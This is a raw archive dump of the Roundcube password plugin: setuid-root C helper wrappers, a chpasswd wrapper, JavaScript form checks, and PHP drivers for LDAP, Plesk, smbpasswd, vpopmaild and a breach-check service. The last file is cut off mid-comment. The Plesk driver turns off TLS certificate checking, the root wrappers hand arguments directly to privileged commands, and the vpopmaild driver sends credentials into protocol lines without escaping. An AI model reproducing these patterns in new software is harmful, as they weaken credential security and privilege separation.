PKh�\����.plugins/password/helpers/chgvirtualminpasswd.cnu�[���#include <stdio.h>
#include <unistd.h>

// set the UID this script will run as (root user)
#define UID 0
#define CMD "/usr/sbin/virtualmin"

/* INSTALLING:
  gcc -o chgvirtualminpasswd chgvirtualminpasswd.c
  chown root.apache chgvirtualminpasswd
  strip chgvirtualminpasswd
  chmod 4550 chgvirtualminpasswd
*/

main(int argc, char *argv[])
{
  int rc,cc;

  cc = setuid(UID);
  rc = execvp(CMD, argv);
  if ((rc != 0) || (cc != 0))
  {
    fprintf(stderr, "__ %s:  failed %d  %d\n", argv[0], rc, cc);
    return 1;
  }

  return 0;
}
PKh�\��3)plugins/password/helpers/chgdbmailusers.cnu�[���#include <stdio.h>
#include <unistd.h>

// set the UID this script will run as (root user)
#define UID 0
#define CMD "/usr/sbin/dbmail-users"

/* INSTALLING:
  gcc -o chgdbmailusers chgdbmailusers.c
  chown root.apache chgdbmailusers
  strip chgdbmailusers
  chmod 4550 chgdbmailusers
*/

main(int argc, char *argv[])
{
  int rc, cc;

  cc = setuid(UID);
  rc = execvp(CMD, argv);

  if ((rc != 0) || (cc != 0))
  {
    fprintf(stderr, "__ %s:  failed %d  %d\n", argv[0], rc, cc);
    return 1;
  }

  return 0;
}
PKh�\u1���*plugins/password/helpers/chpass-wrapper.pynu�[���#!/usr/bin/env python

import sys
import pwd
import subprocess

BLACKLIST = (
    # add blacklisted users here
    #'user1',
)

try:
    username, password = sys.stdin.readline().split(':', 1)
except ValueError:
    sys.exit('Malformed input')

try:
    user = pwd.getpwnam(username)
except KeyError:
    sys.exit('No such user: %s' % username)

if user.pw_uid < 1000:
    sys.exit('Changing the password for user id < 1000 is forbidden')

if username in BLACKLIST:
    sys.exit('Changing password for user %s is forbidden (user blacklisted)' %
             username)

handle = subprocess.Popen('/usr/sbin/chpasswd', stdin = subprocess.PIPE, universal_newlines = True)
handle.communicate('%s:%s' % (username, password))

sys.exit(handle.returncode)
PKh�\�B�y��plugins/password/composer.jsonnu�[���{
    "name": "roundcube/password",
    "type": "roundcube-plugin",
    "description": "Password Change for Roundcube. Plugin adds a possibility to change user password using many methods (drivers) via Settings/Password tab.",
    "license": "GPL-3.0-or-later",
    "version": "5.3",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\oOᬊ� plugins/password/password.min.jsnu�[���/**
 * Password plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
window.rcmail&&rcmail.addEventListener("init",function(a){rcmail.env.password_disabled?($("#password-form input").prop("disabled",!0),rcmail.reload(178e3)):(rcmail.register_command("plugin.password-save",function(){var a=rcube_find_object("_curpasswd"),r=rcube_find_object("_newpasswd"),s=rcube_find_object("_confpasswd");a&&""==a.value?rcmail.alert_dialog(rcmail.get_label("nocurpassword","password"),function(){return a.focus(),!0}):r&&""==r.value?rcmail.alert_dialog(rcmail.get_label("nopassword","password"),function(){return r.focus(),!0}):s&&""==s.value?rcmail.alert_dialog(rcmail.get_label("nopassword","password"),function(){return s.focus(),!0}):r&&s&&r.value!=s.value?rcmail.alert_dialog(rcmail.get_label("passwordinconsistency","password"),function(){return r.focus(),!0}):rcmail.gui_objects.passform.submit()},!0),$("input:not(:hidden)").first().focus())});
PKh�\�����plugins/password/password.jsnu�[���/**
 * Password plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

window.rcmail && rcmail.addEventListener('init', function(evt) {
    if (rcmail.env.password_disabled) {
        $('#password-form input').prop('disabled', true);
        // reload page after ca. 3 minutes
        rcmail.reload(3 * 60 * 1000 - 2000);
        return;
    }

    // register command handler
    rcmail.register_command('plugin.password-save', function() {
        var input_curpasswd = rcube_find_object('_curpasswd'),
            input_newpasswd = rcube_find_object('_newpasswd'),
            input_confpasswd = rcube_find_object('_confpasswd');

      if (input_curpasswd && input_curpasswd.value == '') {
          rcmail.alert_dialog(rcmail.get_label('nocurpassword', 'password'), function() {
              input_curpasswd.focus();
              return true;
            });
      }
      else if (input_newpasswd && input_newpasswd.value == '') {
          rcmail.alert_dialog(rcmail.get_label('nopassword', 'password'), function() {
              input_newpasswd.focus();
              return true;
            });
      }
      else if (input_confpasswd && input_confpasswd.value == '') {
          rcmail.alert_dialog(rcmail.get_label('nopassword', 'password'), function() {
              input_confpasswd.focus();
              return true;
            });
      }
      else if (input_newpasswd && input_confpasswd && input_newpasswd.value != input_confpasswd.value) {
          rcmail.alert_dialog(rcmail.get_label('passwordinconsistency', 'password'), function() {
              input_newpasswd.focus();
              return true;
            });
      }
      else {
          rcmail.gui_objects.passform.submit();
      }
    }, true);

    $('input:not(:hidden)').first().focus();
});
PKh�\\���
�
)plugins/password/drivers/ldap_ppolicy.phpnu�[���<?php

/**
 * ldap_ppolicy driver
 *
 * Driver that adds functionality to change the user password via
 * the 'change_ldap_pass.pl' command respecting password policy (history) in LDAP.
 *
 * @version 1.0
 * @author Zbigniew Szmyd <zbigniew.szmyd@linseco.pl>
 */

class rcube_ldap_ppolicy_password
{
    protected $debug = false;

    public function save($currpass, $newpass, $username)
    {
        $rcmail = rcmail::get_instance();
        $this->debug = $rcmail->config->get('ldap_debug');

        $cmd    = $rcmail->config->get('password_ldap_ppolicy_cmd');
        $uri    = $rcmail->config->get('password_ldap_ppolicy_uri');
        $baseDN = $rcmail->config->get('password_ldap_ppolicy_basedn');
        $filter = $rcmail->config->get('password_ldap_ppolicy_search_filter');
        $bindDN = $rcmail->config->get('password_ldap_ppolicy_searchDN');
        $bindPW = $rcmail->config->get('password_ldap_ppolicy_searchPW');
        $cafile = $rcmail->config->get('password_ldap_ppolicy_cafile');

        $log_dir = $rcmail->config->get('log_dir');

        if (empty($log_dir)) {
            $log_dir = RCUBE_INSTALL_PATH . 'logs';
        }

        $descriptorspec = [
            0 => ["pipe", "r"], // stdin is a pipe that the child will read from
            1 => ["pipe", "w"], // stdout is a pipe that the child will write to
            2 => ["pipe", "w"]  // stderr is a pipe that the child will write to
        ];

        $cmd = 'plugins/password/helpers/'. $cmd;

        $this->_debug('Policy request: ' . json_encode([
            'user'   => $username,
            'cmd'    => $cmd,
            'uri'    => $uri,
            'baseDN' => $baseDN,
            'filter' => $filter,
        ]));

        $process = proc_open($cmd, $descriptorspec, $pipes);

        if ($process) {
            // $pipes now looks like this:
            // 0 => writeable handle connected to child stdin
            // 1 => readable handle connected to child stdout
            // Any error output will be appended to /tmp/error-output.txt

            fwrite($pipes[0], $uri."\n");
            fwrite($pipes[0], $baseDN."\n");
            fwrite($pipes[0], $filter."\n");
            fwrite($pipes[0], $bindDN."\n");
            fwrite($pipes[0], $bindPW."\n");
            fwrite($pipes[0], $username."\n");
            fwrite($pipes[0], $currpass."\n");
            fwrite($pipes[0], $newpass."\n");
            fwrite($pipes[0], $cafile);

            $result = trim(stream_get_contents($pipes[1]));
            $stderr = trim(stream_get_contents($pipes[2]));

            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);

            $this->_debug('Policy result: ' . $result);

            switch ($result) {
            case "OK":
                return PASSWORD_SUCCESS;
            case "Password is in history of old passwords":
                return  PASSWORD_IN_HISTORY;
            case "Cannot connect to any server":
                return PASSWORD_CONNECT_ERROR;
            default:
                rcube::raise_error([
                        'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Password plugin: Failed to execute command: $cmd. Output: $result. Error: $stderr"
                    ], true, false);
            }
        }

        return PASSWORD_ERROR;
    }

    private function _debug($str)
    {
        if ($this->debug) {
            rcube::write_log('ldap', $str);
        }
    }
}
PKh�\�:�A

!plugins/password/drivers/miab.phpnu�[���<?php

/**
 * Mail-in-a-Box Driver
 *
 * Driver that adds functionality to change the user password via the
 * API endpoint of Mail-in-a-Box (https://mailinabox.email/).
 *
 * For installation instructions please read the README file. It requires
 * following parameters in configuration:
 *
 * - password_miab_username - name of the admin user used to access api
 * - password_miab_password - password of the admin user used to access api
 * - password_miab_url - the url to the control panel of Mail-in-a-Box
 *
 * @version 1.0
 * @author Alexey Shtokalo <alexey@shtokalo.net>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_miab_password
{
    public function save($currpass, $newpass, $username)
    {
        $config = rcmail::get_instance()->config;
        $host   = rtrim($config->get('password_miab_url'), '/') . '/mail/users/password';

        try {
            $client = password::get_http_client();

            $request = [
                'form_params' => [
                    'email'    => $username,
                    'password' => $newpass,
                ],
                'auth' => [
                    $config->get('password_miab_user') ?: $username,
                    $config->get('password_miab_pass') ?: $currpass,
                ],
            ];

            $response = $client->post($host, $request);

            if (
                $response->getStatusCode() == 200
                && trim($result = $response->getBody()) === 'OK'
            ) {
                return PASSWORD_SUCCESS;
            }
        }
        catch (Exception $e) {
            $result = $e->getMessage();
        }

        rcube::raise_error([
                'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                'message' => "Password plugin: Unable to change password. $result",
            ],
            true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\5#�L	L	#plugins/password/drivers/tinycp.phpnu�[���<?php
/**
 * TinyCP driver
 *
 * Enable the password driver in Roundcube (https://roundcube.net/) for the
 * TinyCP Lightweight Linux Control Panel (https://tinycp.com/).
 * See README for instructions, Connector Required.
 *
 * @version 1.2
 * @author Ricky Mendoza (HelloWorld@rickymendoza.dev)
 * 
 * Copyright (C) 2020 Ricky Mendoza
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

class rcube_tinycp_password
{
    public function save($currpass, $newpass, $username)
    {
        require_once 'TinyCPConnector.php';

        $tinycp_host   = rcmail::get_instance()->config->get('password_tinycp_host');
        $tinycp_port   = rcmail::get_instance()->config->get('password_tinycp_port');
        $tinycp_user   = rcmail::get_instance()->config->get('password_tinycp_user');
        $tinycp_pass   = rcmail::get_instance()->config->get('password_tinycp_pass');
        $error_message = '';

        if ($tinycp_host && $tinycp_port && $tinycp_user && $tinycp_pass) {
            try {
                $tcp = new TinyCPConnector($tinycp_host, $tinycp_port);
                $tcp->Auth($tinycp_user, $tinycp_pass);
                $tcp->mail___mailserver___email_pass_change2($username, $newpass);
            }
            catch (Exception $e) {
                $error_message = $e->getMessage();
            }
        }
        else {
            $error_message = "Missing configuration value(s). ";
        }

        if ($error_message) {
            rcube::raise_error([
                    'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Password driver: $error_message",
                ],
                true, false
            );

            return PASSWORD_ERROR;
        }

        return PASSWORD_SUCCESS;
    }
}
PKh�\V�6Hxx"plugins/password/drivers/pwned.phpnu�[���<?php

/**
 * Have I Been Pwned Password Strength Driver
 *
 * Driver to check passwords using HIBP:
 * https://haveibeenpwned.com/Passwords
 *
 * This driver will return a strength of:
 *     3: if the password WAS NOT found in HIBP
 *     1: if the password WAS found in HIBP
 *     2: if there was an ERROR retrieving data.
 *
 * To use this driver, configure (in ../config.inc.php):
 *
 * $config['password_strength_driver'] = 'pwned';
 * $config['password_minimum_score'] = 3;
 *
 * Set the minimum score to 3 if you want to make sure that all
 * passwords are successfully checked against HIBP (recommended).
 *
 * Set it to 2 if you still want to accept passwords in case a
 * HIBP check fails for some (technical) reason.
 *
 * Setting the minimum score to 1 or less effectively renders
 * the checks useless, as all passwords would be accepted.
 * Setting it to 4 or more will effectively reject all passwords.
 *
 * This driver will only return a maximum score of 3 because not
 * being listed in HIBP does not necessarily mean that the
 * password is a good one. It is therefore recommended to also
 * configure a minimum length for the password.
 *
 * Background reading (don't worry, your passwords are not sent anywhere):
 * https://www.troyhunt.com/ive-just-launched-pwned-passwords-version-2/#cloudflareprivacyandkanonymity
 *
 * @version 1.0
 * @author Christoph Langguth
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_pwned_password
{
    // API URL. Note: the trailing slash is mandatory.
    const API_URL = 'https://api.pwnedpasswords.com/range/';

    // See https://www.troyhunt.com/enhancing-pwned-passwords-privacy-with-padding/
    const ENHANCED_PRIVACY_CURL = 1;

    // Score constants, these directly correspond to the score that is returned.
    const SCORE_LISTED = 1;
    const SCORE_ERROR = 2;
    const SCORE_NOT_LISTED = 3;

    /**
     * Rule description.
     *
     * @return array human-readable description of the check rule.
     */
    function strength_rules()
    {
        $rc = rcmail::get_instance();
        $href = 'https://haveibeenpwned.com/Passwords';

        return [$rc->gettext(['name' => 'password.pwned_mustnotbedisclosed', 'vars' => ['href' => $href]])];
    }

    /**
     * Password strength check.
     * Return values:
     *     1 - if password is definitely compromised.
     *     2 - if status for password can't be determined (network failures etc.)
     *     3 - if password is not publicly known to be compromised.
     *
     * @param string $passwd Password
     *
     * @return array password score (1 to 3) and (optional) reason message
     */
    function check_strength($passwd)
    {
        $score   = $this->check_pwned($passwd);
        $message = null;

        if ($score !== self::SCORE_NOT_LISTED) {
            $rc = rcmail::get_instance();
            if ($score === self::SCORE_LISTED) {
                $message = $rc->gettext('password.pwned_isdisclosed');
            }
            else {
                $message = $rc->gettext('password.pwned_fetcherror');
            }
        }

        return [$score, $message];
    }

    /**
     * Check password using HIBP.
     *
     * @param string $passwd
     *
     * @return int score, one of the SCORE_* constants (between 1 and 3).
     */
    function check_pwned($passwd)
    {
        // initialize with error score
        $result = self::SCORE_ERROR;

        if (!$this->can_retrieve()) {
            // Log the fact that we cannot check because of configuration error.
            rcube::raise_error("Need curl or allow_url_fopen to check password strength with 'pwned'", true, true);
        }
        else {
            list($prefix, $suffix) = $this->hash_split($passwd);

            $suffixes = $this->retrieve_suffixes(self::API_URL . $prefix);

            if ($suffixes) {
                $result = $this->check_suffix_in_list($suffix, $suffixes);
            }
        }

        return $result;
    }

    function hash_split($passwd)
    {
        $hash   = strtolower(sha1($passwd));
        $prefix = substr($hash, 0, 5);
        $suffix = substr($hash, 5);

        return [$prefix, $suffix];
    }

    function can_retrieve()
    {
        return $this->can_curl() || $this->can_fopen();
    }

    function can_curl()
    {
        return function_exists('curl_init');
    }

    function can_fopen()
    {
        return ini_get('allow_url_fopen');
    }

    function retrieve_suffixes($url)
    {
        if ($this->can_curl()) {
            return $this->retrieve_curl($url);
        }
        else {
            return $this->retrieve_fopen($url);
        }
    }

    function retrieve_curl($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        if (self::ENHANCED_PRIVACY_CURL == 1) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, ['Add-Padding: true']);
        }
        $output = curl_exec($ch);
        curl_close($ch);

        return $output;
    }

    function retrieve_fopen($url)
    {
        $output = '';
        $ch = fopen($url, 'r');
        while (!feof($ch)) {
            $output .= fgets($ch);
        }
        fclose($ch);

        return $output;
    }

    function check_suffix_in_list($candidate, $list)
    {
        // initialize to error in case there are no lines at all
        $result = self::SCORE_ERROR;

        foreach (preg_split('/[\r\n]+/', $list) as $line) {
            $line = strtolower($line);

            if (preg_match('/^([0-9a-f]{35}):(\d+)$/', $line, $matches)) {
                if ($matches[2] > 0 && $matches[1] === $candidate) {
                    // more than 0 occurrences, and suffix matches
                    // -> password is compromised
                    return self::SCORE_LISTED;
                }

                // valid line, not matching the current password
                $result = self::SCORE_NOT_LISTED;
            }
            else {
                // invalid line
                return self::SCORE_ERROR;
            }
        }

        return $result;
    }
}
PKh�\���|�	�	 plugins/password/drivers/smb.phpnu�[���<?php

/**
 * smb Driver
 *
 * Driver that adds functionality to change the systems user password via
 * the 'smbpasswd' command.
 *
 * For installation instructions please read the README file.
 *
 * @version 2.0
 * @author Andy Theuninck <gohanman@gmail.com)
 *
 * Based on chpasswd roundcubemail password driver by
 * @author Alex Cartwright <acartwright@mutinydesign.co.uk)
 * and smbpasswd horde passwd driver by
 * @author  Rene Lund Jensen <Rene@lundjensen.net>
 *
 * Configuration settings:
 * password_smb_host    => samba host (default: localhost)
 * password_smb_cmd => smbpasswd binary (default: /usr/bin/smbpasswd)
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_smb_password
{

    public function save($currpass, $newpass, $username)
    {
        $host     = rcmail::get_instance()->config->get('password_smb_host', 'localhost');
        $bin      = rcmail::get_instance()->config->get('password_smb_cmd', '/usr/bin/smbpasswd');
        $host     = rcube_utils::parse_host($host);
        $tmpfile  = tempnam(sys_get_temp_dir(), 'smb');
        $cmd      = $bin . ' -r ' . escapeshellarg($host) . ' -s -U ' . escapeshellarg($username) . ' > ' . $tmpfile . ' 2>&1';
        $handle   = @popen($cmd, 'w');

        fwrite($handle, $currpass."\n");
        fwrite($handle, $newpass."\n");
        fwrite($handle, $newpass."\n");
        @pclose($handle);
        $res = file($tmpfile);
        unlink($tmpfile);

        if (strstr($res[count($res) - 1], 'Password changed for user') !== false) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $cmd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\��Ƨoo&plugins/password/drivers/ldap_exop.phpnu�[���<?php

/**
 * LDAP - Password Modify Extended Operation Driver
 *
 * Driver for passwords stored in LDAP
 * This driver is based on Simple LDAP Password Driver, but uses
 * Password Modify Extended Operation
 * PHP >= 7.2 required
 *
 * @version 1.0
 * @author Peter Kubica <peter@kubica.ch>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

require_once __DIR__ . '/ldap_simple.php';

class rcube_ldap_exop_password extends rcube_ldap_simple_password
{
    function save($curpass, $passwd)
    {
        if (!function_exists('ldap_exop_passwd')) {
            rcube::raise_error([
                    'code' => 100, 'type' => 'ldap',
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "ldap_exop_passwd not supported"
                ],
                true
            );

            return PASSWORD_ERROR;
        }

        // Connect and bind
        $ret = $this->connect($curpass);
        if ($ret !== true) {
            return $ret;
        }

        if (!ldap_exop_passwd($this->conn, $this->user, $curpass, $passwd)) {
            $this->_debug("S: ".ldap_error($this->conn));

            $errno = ldap_errno($this->conn);

            ldap_unbind($this->conn);

            if ($errno == 0x13) {
                return PASSWORD_CONSTRAINT_VIOLATION;
            }

            return PASSWORD_CONNECT_ERROR;
        }

        $this->_debug("S: OK");

        // All done, no error
        ldap_unbind($this->conn);

        return PASSWORD_SUCCESS;
    }
}
PKh�\�Kr�++"plugins/password/drivers/plesk.phpnu�[���<?php

/**
 * Roundcube Password Driver for Plesk-RPC.
 *
 * This driver changes a E-Mail-Password via Plesk-RPC
 * Deps: PHP-Curl, SimpleXML
 *
 * @author     Cyrill von Wattenwyl <cyrill.vonwattenwyl@adfinis-sygroup.ch>
 * @copyright  Adfinis SyGroup AG, 2014
 *
 * Config needed:
 * $config['password_plesk_host']     = '10.0.0.5';
 * $config['password_plesk_user']     = 'admin';
 * $config['password_plesk_pass']     = 'pass';
 * $config['password_plesk_rpc_port'] = 8443;
 * $config['password_plesk_rpc_path'] = enterprise/control/agent.php;
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

/**
 * Roundcube Password Driver Class
 *
 * See {ROUNDCUBE_ROOT}/plugins/password/README for API description
 *
 * @author Cyrill von Wattenwyl <cyrill.vonwattenwyl@adfinis-sygroup.ch>
 */
class rcube_plesk_password
{
    /**
     * This method is called from roundcube to change the password
     *
     * roundcube already validated the old password so we just need to change it at this point
     *
     * @author Cyrill von Wattenwyl <cyrill.vonwattenwyl@adfinis-sygroup.ch>
     * @param string $currpass Current password
     * @param string $newpass  New password
     * @return int PASSWORD_SUCCESS|PASSWORD_ERROR
     */
    function save($currpass, $newpass, $username)
    {
        // get config
        $rcmail = rcmail::get_instance();
        $host   = $rcmail->config->get('password_plesk_host');
        $user   = $rcmail->config->get('password_plesk_user');
        $pass   = $rcmail->config->get('password_plesk_pass');
        $port   = $rcmail->config->get('password_plesk_rpc_port');
        $path   = $rcmail->config->get('password_plesk_rpc_path');

        // create plesk-object
        $plesk = new plesk_rpc;
        $plesk->init($host, $port, $path, $user, $pass);

        // try to change password and return the status
        $result = $plesk->change_mailbox_password($username, $newpass);
        //$plesk->destroy();

        if ($result == "ok") {
            return PASSWORD_SUCCESS;
        } elseif (is_array($result)) {
            return $result;
        }

        return PASSWORD_ERROR;
    }
}


/**
 * Plesk RPC-Class
 *
 * Striped down version of Plesk-RPC-Class
 * Just functions for changing mail-passwords included
 *
 * Documentation of Plesk RPC-API: http://download1.parallels.com/Plesk/PP11/11.0/Doc/en-US/online/plesk-api-rpc/
 *
 * @author Cyrill von Wattenwyl <cyrill.vonwattenwyl@adfinis-sygroup.ch>
 */
class plesk_rpc
{
    protected $old_version = false;
    protected $curl;

    /**
     * init plesk-rpc via curl
     *
     * @param string $host plesk host
     * @param string $port plesk rpc port
     * @param string $path plesk rpc path
     * @param string $user plesk user
     * @param string $user plesk password
     * @returns void
     */
    function init($host, $port, $path, $user, $pass)
    {
        $headers = [
            sprintf("HTTP_AUTH_LOGIN: %s", $user),
            sprintf("HTTP_AUTH_PASSWD: %s", $pass),
            "Content-Type: text/xml"
        ];

        $url        = sprintf("https://%s:%s/%s", $host, $port, $path);
        $this->curl = curl_init();

        curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT , 5);
        curl_setopt($this->curl, CURLOPT_SSL_VERIFYHOST , 0);
        curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER , false);
        curl_setopt($this->curl, CURLOPT_HTTPHEADER     , $headers);
        curl_setopt($this->curl, CURLOPT_URL            , $url);
    }

    /**
     * send a request to the plesk
     *
     * @param string $packet XML-Packet to send to Plesk
     *
     * @returns string Response body
     */
    function send_request($packet)
    {
        curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($this->curl, CURLOPT_POSTFIELDS, $packet);
        $result = curl_exec($this->curl);

        return $result && strpos($result, '<?xml') === 0 ? $result : null;
    }

    /**
     * close curl
     */
    function destroy()
    {
        curl_close($this->curl);
    }

    /**
     * Get all hosting-information of a domain
     *
     * @param string $domain domain-name
     * @returns object SimpleXML object
     */
    function domain_info($domain)
    {
        // build xml
        $request = new SimpleXMLElement("<packet></packet>");
        $site    = $request->addChild("site");
        $get     = $site->addChild("get");
        $filter  = $get->addChild("filter");

        $filter->addChild("name", utf8_encode($domain));
        $dataset = $get->addChild("dataset");

        $dataset->addChild("hosting");
        $packet = $request->asXML();
        $xml    = null;

        // send the request and make it to simple-xml-object
        if ($res = $this->send_request($packet)) {
            $xml = new SimpleXMLElement($res);
        }

        // Old Plesk versions require version attribute, add it and try again
        if ($xml && $xml->site->get->result->status == 'error' && $xml->site->get->result->errcode == 1017) {
            $request->addAttribute("version", "1.6.3.0");
            $packet = $request->asXML();

            $this->old_version = true;

            // send the request and make it to simple-xml-object
            if ($res = $this->send_request($packet)) {
                $xml = new SimpleXMLElement($res);
            }
        }

        return $xml;
    }

    /**
     * Get psa-id of a domain
     *
     * @param string $domain domain-name
     *
     * @returns int Domain ID
     */
    function get_domain_id($domain)
    {
        if ($xml = $this->domain_info($domain)) {
            return intval($xml->site->get->result->id);
        }
    }

    /**
     * Change Password of a mailbox
     *
     * @param string $mailbox full email-address (user@domain.tld)
     * @param string $newpass new password of mailbox
     *
     * @returns bool
     */
    function change_mailbox_password($mailbox, $newpass)
    {
        list($user, $domain) = explode("@", $mailbox);
        $domain_id = $this->get_domain_id($domain);

        // if domain cannot be resolved to an id, do not continue
        if (!$domain_id) {
            return false;
        }

        // build xml-packet
        $request = new SimpleXMLElement("<packet></packet>");
        $mail    = $request->addChild("mail");
        $update  = $mail->addChild("update");
        $add     = $update->addChild("set");
        $filter  = $add->addChild("filter");
        $filter->addChild("site-id", $domain_id);

        $mailname = $filter->addChild("mailname");
        $mailname->addChild("name", $user);

        $password = $mailname->addChild("password");
        $password->addChild("value", $newpass);
        $password->addChild("type", "plain");

        if ($this->old_version) {
            $request->addAttribute("version", "1.6.3.0");
        }

        $packet = $request->asXML();

        // send the request to plesk
        if ($res = $this->send_request($packet)) {
            $xml = new SimpleXMLElement($res);
            $res = strval($xml->mail->update->set->result->status);

            if ($res != "ok") {
                $res = [
                    'code' => PASSWORD_ERROR,
                    'message' => strval($xml->mail->update->set->result->errtext)
                ];
            }

            return $res;
        }

        return false;
    }
}
PKh�\ _�]��&plugins/password/drivers/vpopmaild.phpnu�[���<?php

/**
 * vpopmail Password Driver
 *
 * Driver to change passwords via vpopmaild
 *
 * @version 2.0
 * @author Johannes Hessellund
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_vpopmaild_password
{
    function save($curpass, $passwd, $username)
    {
        $rcmail    = rcmail::get_instance();
        $vpopmaild = new Net_Socket();
        $host      = $rcmail->config->get('password_vpopmaild_host');
        $port      = $rcmail->config->get('password_vpopmaild_port');

        $result = $vpopmaild->connect($host, $port, null);
        if (is_a($result, 'PEAR_Error')) {
            return PASSWORD_CONNECT_ERROR;
        }

        $vpopmaild->setTimeout($rcmail->config->get('password_vpopmaild_timeout'),0);

        $result = $vpopmaild->readLine();
        if(!preg_match('/^\+OK/', $result)) {
            $vpopmaild->disconnect();
            return PASSWORD_CONNECT_ERROR;
        }

        $vpopmaild->writeLine("slogin ". $username . " " . $curpass);
        $result = $vpopmaild->readLine();

        if(!preg_match('/^\+OK/', $result) ) {
            $vpopmaild->writeLine("quit");
            $vpopmaild->disconnect();
            return PASSWORD_ERROR;
        }

        $vpopmaild->writeLine("mod_user ". $username);
        $vpopmaild->writeLine("clear_text_password ". $passwd);
        $vpopmaild->writeLine(".");
        $result = $vpopmaild->readLine();
        $vpopmaild->writeLine("quit");
        $vpopmaild->disconnect();

        if (!preg_match('/^\+OK/', $result)) {
            return PASSWORD_ERROR;
        }

        return PASSWORD_SUCCESS;
    }
}
PKh�\`��Q$Q$(plugins/password/drivers/ldap_simple.phpnu�[���<?php

/**
 * Simple LDAP Password Driver
 *
 * Driver for passwords stored in LDAP
 * This driver is based on Edouard's LDAP Password Driver, but does not
